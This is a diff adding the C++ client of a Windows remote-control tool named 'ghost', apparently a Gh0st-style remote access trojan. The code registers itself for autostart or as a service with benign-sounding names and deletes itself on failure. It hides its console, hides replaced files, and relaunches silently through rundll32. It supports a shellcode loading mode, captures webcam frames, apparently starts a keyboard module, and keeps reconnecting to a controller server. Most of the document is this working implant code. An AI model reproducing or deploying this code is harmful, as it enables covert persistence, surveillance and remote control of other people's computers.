BYTE* GetNextScreen(DWORD &dwSize)
|
||||
{
|
||||
dwSize=m_dwSize;
|
||||
return (BYTE*)m_BitmapData_Full;
|
||||
}
|
||||
|
||||
STDMETHODIMP SampleCB(double dbSampleTime, IMediaSample * Sample)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
//回调函数 在这里得到 bmp 的数据
|
||||
STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize)
|
||||
{
|
||||
if (!szBuffer) {
|
||||
return E_POINTER;
|
||||
}
|
||||
|
||||
if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样
|
||||
//将图像数据拷贝的我们的内存
|
||||
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图
|
||||
|
||||
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送
|
||||
return S_OK;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
};
|
||||
|
||||
class CCaptureVideo
|
||||
{
|
||||
public:
|
||||
CCaptureVideo();
|
||||
virtual ~CCaptureVideo();
|
||||
LPBITMAPINFO GetBmpInfor();
|
||||
HRESULT InitCaptureGraphBuilder();
|
||||
HRESULT Open(int iDeviceID,int iPress);
|
||||
BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter);
|
||||
|
||||
LPBYTE GetDIB(DWORD& dwSize);
|
||||
|
||||
int GetDIBBufSize() const
|
||||
{
|
||||
return mCB.m_dwSize;
|
||||
}
|
||||
|
||||
BOOL m_bExit;
|
||||
|
||||
HWND m_hWnd;
|
||||
|
||||
static CSampleGrabberCB mCB;
|
||||
IGraphBuilder * m_pGB; //通过该值可以访问 FCDO Filter Control Device Object
|
||||
ICaptureGraphBuilder2* m_pCapture; //通过该值可以访问 真实CDO
|
||||
|
||||
IMediaControl* m_pMC; //过滤设备的接口
|
||||
IVideoWindow* m_pVW;
|
||||
|
||||
IBaseFilter* m_pBF; //FDO
|
||||
ISampleGrabber* m_pGrabber; //引脚 24Color
|
||||
|
||||
void FreeMediaType(AM_MEDIA_TYPE& mt);
|
||||
void ResizeVideoWindow();
|
||||
HRESULT SetupVideoWindow();
|
||||
void SendEnd();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_)
|
||||
14
client/ClientApp.h
Normal file
14
client/ClientApp.h
Normal file
@@ -0,0 +1,14 @@
|
||||
|
||||
#pragma once
|
||||
|
||||
class App
|
||||
{
|
||||
public:
|
||||
App() {}
|
||||
virtual ~App() {}
|
||||
|
||||
virtual bool Initialize() = 0;
|
||||
virtual bool Start() = 0;
|
||||
virtual bool Stop() = 0;
|
||||
virtual bool IsMainInstance() = 0;
|
||||
};
|
||||
615
client/ClientDll.cpp
Normal file
615
client/ClientDll.cpp
Normal file
@@ -0,0 +1,615 @@
|
||||
// ClientDll.cpp : Defines the entry point for the DLL application.
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ClientDll.h"
|
||||
#include <common/iniFile.h>
|
||||
#include <common/LANChecker.h>
|
||||
#include <common/VerifyV2.h>
|
||||
extern "C" {
|
||||
#include "reg_startup.h"
|
||||
#include "ServiceWrapper.h"
|
||||
}
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
// 启动的客户端个数
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// 远程地址
|
||||
CONNECT_ADDRESS g_SETTINGS = {
|
||||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||||
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
|
||||
0, 0, 7057226198541618915, {},
|
||||
};
|
||||
|
||||
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
|
||||
// 因此全局来看只有一个全局变量: g_MyApp
|
||||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||||
|
||||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||||
|
||||
int ClientApp::m_nCount = 0;
|
||||
|
||||
CLock ClientApp::m_Locker;
|
||||
|
||||
BOOL IsProcessExit()
|
||||
{
|
||||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp)
|
||||
{
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
// 只在进程退出时停止分享连接,原服务端的状态变化不应影响分享连接
|
||||
return !IsProcessExit() && (S_CLIENT_NORMAL == This->g_bExit);
|
||||
}
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp)
|
||||
{
|
||||
ClientApp* This = (ClientApp*)thisApp;
|
||||
return S_CLIENT_NORMAL == This->g_bExit;
|
||||
}
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
|
||||
{
|
||||
auto v = StringToVector(remoteAddr, ':', 2);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
return nullptr;
|
||||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||||
return a;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param)
|
||||
{
|
||||
ClientApp::AddCount(1);
|
||||
ClientApp* app = (ClientApp*)param;
|
||||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||||
const char* ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
State& bExit(app->g_bExit);
|
||||
if (ip != NULL && port > 0) {
|
||||
settings.SetServer(ip, port);
|
||||
}
|
||||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||||
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
|
||||
Sleep(3000);
|
||||
} else {
|
||||
app->g_hInstance = GetModuleHandle(NULL);
|
||||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||||
|
||||
do {
|
||||
bExit = S_CLIENT_NORMAL;
|
||||
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
if (IsProcessExit()) // process exit
|
||||
break;
|
||||
if (app->m_bShared) {
|
||||
WAIT_n(!IsProcessExit(), 5, 200);
|
||||
}
|
||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||
}
|
||||
|
||||
auto r = app->m_ID;
|
||||
if (app != &g_MyApp) delete app;
|
||||
ClientApp::AddCount(-1);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制)
|
||||
* @param handles 句柄数组
|
||||
* @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个)
|
||||
* @param timeout 超时时间(毫秒,INFINITE表示无限等待)
|
||||
* @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败)
|
||||
*/
|
||||
DWORD WaitForMultipleHandlesEx(
|
||||
const std::vector<HANDLE>& handles,
|
||||
BOOL waitAll = TRUE,
|
||||
DWORD timeout = INFINITE
|
||||
)
|
||||
{
|
||||
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制(64)
|
||||
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
||||
|
||||
// 1. 检查句柄有效性
|
||||
for (HANDLE h : handles) {
|
||||
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
||||
SetLastError(ERROR_INVALID_HANDLE);
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. 如果句柄数≤64,直接调用原生API
|
||||
if (totalHandles <= MAX_WAIT) {
|
||||
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
||||
}
|
||||
|
||||
// 3. 分批等待逻辑
|
||||
if (waitAll) {
|
||||
// 必须等待所有句柄完成
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
TRUE, // 必须等待当前批次全部完成
|
||||
timeout
|
||||
);
|
||||
if (result == WAIT_FAILED) {
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
}
|
||||
return WAIT_OBJECT_0;
|
||||
} else {
|
||||
// 只需等待任意一个句柄完成
|
||||
while (true) {
|
||||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||||
DWORD result = WaitForMultipleObjects(
|
||||
batchSize,
|
||||
&handles[i],
|
||||
FALSE, // 当前批次任意一个完成即可
|
||||
timeout
|
||||
);
|
||||
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
||||
return result + i; // 返回全局索引
|
||||
}
|
||||
}
|
||||
if (timeout != INFINITE) {
|
||||
return WAIT_TIMEOUT;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#if _CONSOLE
|
||||
|
||||
#include "auto_start.h"
|
||||
|
||||
// 隐藏控制台
|
||||
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||
// step1: 在链接器"高级"设置入口点为mainCRTStartup
|
||||
// step2: 在链接器"系统"设置系统为窗口
|
||||
// 完成
|
||||
|
||||
BOOL CALLBACK callback(DWORD CtrlType)
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT);
|
||||
#else
|
||||
BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT);
|
||||
#endif
|
||||
if (isClose) {
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
while (E_RUN == status)
|
||||
Sleep(20);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||
InitWindowsService(NewService(
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0();
|
||||
// 注册启动项
|
||||
int r = RegisterStartup(
|
||||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||||
!isService, g_SETTINGS.runasAdmin, Logf);
|
||||
if (r <= 0) {
|
||||
BOOL s = self_del();
|
||||
if (!IsDebug) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
|
||||
if (!SetSelfStart(argv[0], REG_NAME, Logf)) {
|
||||
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
||||
}
|
||||
|
||||
if (isService) {
|
||||
g_SETTINGS.iStartup = Startup_GhostMsc;
|
||||
bool ret = RunAsWindowsService(argc, argv);
|
||||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||||
for (int i = 0; !ret && i < argc; i++) {
|
||||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||||
}
|
||||
if (ret) {
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return 0x20251123;
|
||||
}
|
||||
}
|
||||
|
||||
status = E_RUN;
|
||||
|
||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
|
||||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||||
SAFE_CLOSE_HANDLE(hMutex);
|
||||
hMutex = NULL;
|
||||
#ifndef _DEBUG
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(1000);
|
||||
return -2;
|
||||
#endif
|
||||
}
|
||||
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL;
|
||||
int port = argc > 2 ? atoi(argv[2]) : 6543;
|
||||
ClientApp& app(g_MyApp);
|
||||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
app.g_Connection->SetServer(ip, port);
|
||||
#ifdef _DEBUG
|
||||
g_SETTINGS.SetServer(ip, port);
|
||||
#endif
|
||||
if (CLIENT_PARALLEL_NUM == 1) {
|
||||
// 启动单个客户端
|
||||
StartClientApp(&app);
|
||||
} else {
|
||||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||||
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||||
if (handles[i] == 0) {
|
||||
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
|
||||
}
|
||||
}
|
||||
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
||||
if (result == WAIT_FAILED) {
|
||||
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
ClientApp::Wait();
|
||||
status = E_STOP;
|
||||
|
||||
SAFE_CLOSE_HANDLE(hMutex);
|
||||
Mprintf("结束运行.\n");
|
||||
Sleep(500);
|
||||
if (isService) {
|
||||
Mprintf("CALL ServiceWrapper_Stop.\n");
|
||||
int r = ServiceWrapper_Stop();
|
||||
}
|
||||
Logger::getInstance().stop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param)
|
||||
{
|
||||
do {
|
||||
TestRun(NULL, 0);
|
||||
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||||
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
HMODULE hInstance = (HMODULE)param;
|
||||
FreeLibraryAndExitThread(hInstance, -1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call) {
|
||||
case DLL_PROCESS_ATTACH: {
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||
break;
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 启动运行一个ghost
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
if (app.IsThreadRun()) {
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
|
||||
return;
|
||||
}
|
||||
app.SetThreadRun(TRUE);
|
||||
app.SetProcessState(S_CLIENT_NORMAL);
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
|
||||
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
app.SetThreadRun(FALSE);
|
||||
return;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#else
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
#endif
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
}
|
||||
|
||||
// 停止运行
|
||||
extern "C" __declspec(dllexport) void StopRun()
|
||||
{
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
}
|
||||
|
||||
// 是否成功停止
|
||||
extern "C" __declspec(dllexport) bool IsStoped()
|
||||
{
|
||||
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
||||
}
|
||||
|
||||
// 是否退出客户端
|
||||
extern "C" __declspec(dllexport) BOOL IsExit()
|
||||
{
|
||||
return g_MyApp.g_bExit;
|
||||
}
|
||||
|
||||
// 简单运行此程序,无需任何参数
|
||||
extern "C" __declspec(dllexport) int EasyRun()
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
|
||||
do {
|
||||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||||
while (!IsStoped())
|
||||
Sleep(50);
|
||||
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
|
||||
break;
|
||||
else if (S_SERVER_EXIT == app.g_bExit)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE: 程序更新
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
return app.g_bExit;
|
||||
}
|
||||
|
||||
// copy from: SimpleRemoter\client\test.cpp
|
||||
// 启用新的DLL
|
||||
void RunNewDll(const char* cmdLine)
|
||||
{
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
*(p + 1) = 0;
|
||||
std::string folder = path;
|
||||
std::string oldFile = folder + "ServerDll.old";
|
||||
std::string newFile = folder + "ServerDll.new";
|
||||
strcpy(p + 1, "ServerDll.dll");
|
||||
BOOL ok = TRUE;
|
||||
if (_access(newFile.c_str(), 0) != -1) {
|
||||
if (_access(oldFile.c_str(), 0) != -1) {
|
||||
if (!DeleteFileA(oldFile.c_str())) {
|
||||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||||
ok = FALSE;
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
if (_access(path, 0) != -1) {
|
||||
ok = FALSE;
|
||||
}
|
||||
} else {
|
||||
// 设置文件属性为隐藏
|
||||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
|
||||
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
||||
}
|
||||
}
|
||||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||||
MoveFileA(oldFile.c_str(), path);// recover
|
||||
} else if (ok) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
char cmd[1024];
|
||||
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
||||
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
||||
}
|
||||
|
||||
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
|
||||
HWND hwnd: 父窗口句柄(通常为 NULL)。
|
||||
HINSTANCE hinst: DLL 的实例句柄。
|
||||
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
|
||||
int nCmdShow: 窗口显示状态。
|
||||
运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
||||
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
|
||||
*/
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
char message[256] = { 0 };
|
||||
if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
} else if (settings.IsValid()) {
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
}
|
||||
|
||||
std::istringstream stream(message);
|
||||
std::string item;
|
||||
std::vector<std::string> result;
|
||||
while (std::getline(stream, item, ':')) {
|
||||
result.push_back(item);
|
||||
}
|
||||
if (result.size() == 1) {
|
||||
result.push_back("80");
|
||||
}
|
||||
if (result.size() != 2) {
|
||||
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
|
||||
return;
|
||||
}
|
||||
|
||||
do {
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
RunNewDll(message);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
bool ParseAuthServer(const std::string& auth, std::string& host, int& port, bool b=false);
|
||||
void ParseAuthServer(CONNECT_ADDRESS *conn) {
|
||||
config* cfg = IsDebug ? (config*)new config() : (config*)new iniFile();
|
||||
std::string host = conn->ServerIP();
|
||||
int port = conn->ServerPort();
|
||||
if (ParseAuthServer(cfg->GetStr("settings", "Authorization"), host, port, true))
|
||||
conn->SetServer(host.c_str(), port);
|
||||
delete cfg;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
BOOL assigned = FALSE;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
double valid_to = 0;
|
||||
std::string ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||
if (!app.m_bShared) {
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
if (assigned = now <= valid_to) {
|
||||
auto saved_ip = cfg.GetStr("settings", "master");
|
||||
auto saved_port = cfg.GetInt("settings", "port");
|
||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
||||
int(valid_to-now));
|
||||
}
|
||||
}
|
||||
auto list = app.GetSharedMasterList();
|
||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||
for (int i=1; i<list.size(); ++i) {
|
||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
}
|
||||
// The main ClientApp.
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
}
|
||||
if (!app.m_bShared) {
|
||||
auto a = cfg.GetStr("settings", "share_list");
|
||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||
for (int i = 0; i < shareList.size(); ++i) {
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||||
}
|
||||
}
|
||||
std::string expiredDate;
|
||||
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
||||
if (isAuthKernel) ParseAuthServer(&settings);
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||||
VERIFY_V2_AND_SET_AUTHORIZED();
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||||
if (nullptr == ClientObject) return -1;
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
if (!app.m_bShared) {
|
||||
if (NULL == app.g_hEvent) {
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
}
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
// Check auth timeout for trial/unauthorized users while waiting to reconnect
|
||||
if (isAuthKernel && AuthTimeoutChecker::NeedCheck())
|
||||
AuthTimeoutChecker::Check();
|
||||
continue;
|
||||
}
|
||||
SAFE_DELETE(Manager);
|
||||
|
||||
//准备第一波数据
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate);
|
||||
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||||
Manager->SetClientApp(&app);
|
||||
Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID));
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
|
||||
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
|
||||
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
|
||||
|
||||
do {
|
||||
Manager->SendHeartbeat();
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (assigned && time(0) > valid_to) {
|
||||
app.SetProcessState(S_CLIENT_UPDATE);
|
||||
settings.SetServer(ip.c_str(), port);
|
||||
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
|
||||
}
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
}
|
||||
kb->Exit(10);
|
||||
SAFE_DELETE(kb);
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
SAFE_CLOSE_HANDLE(app.g_hEvent);
|
||||
app.g_hEvent = NULL;
|
||||
}
|
||||
if (app.g_bExit == S_CLIENT_EXIT) {
|
||||
CKernelManager::g_IsAppExit = 2;
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
SAFE_DELETE(Manager);
|
||||
app.SetThreadRun(FALSE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
139
client/ClientDll.h
Normal file
139
client/ClientDll.h
Normal file
@@ -0,0 +1,139 @@
|
||||
#pragma once
|
||||
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
#include "domain_pool.h"
|
||||
#include "ClientApp.h"
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
typedef BOOL(*IsRunning)(void* thisApp);
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp);
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp);
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
|
||||
// 客户端类:将全局变量打包到一起.
|
||||
class ClientApp : public App
|
||||
{
|
||||
public:
|
||||
State g_bExit; // 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件)
|
||||
BOOL g_bThreadExit; // 工作线程状态
|
||||
HINSTANCE g_hInstance; // 进程句柄
|
||||
CONNECT_ADDRESS* g_Connection; // 连接信息
|
||||
HANDLE g_hEvent; // 全局事件
|
||||
BOOL m_bShared; // 是否分享
|
||||
IsRunning m_bIsRunning; // 运行状态
|
||||
unsigned m_ID; // 唯一标识
|
||||
static int m_nCount; // 计数器
|
||||
static CLock m_Locker;
|
||||
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE)
|
||||
{
|
||||
g_bExit = S_CLIENT_NORMAL;
|
||||
g_bThreadExit = FALSE;
|
||||
g_hInstance = NULL;
|
||||
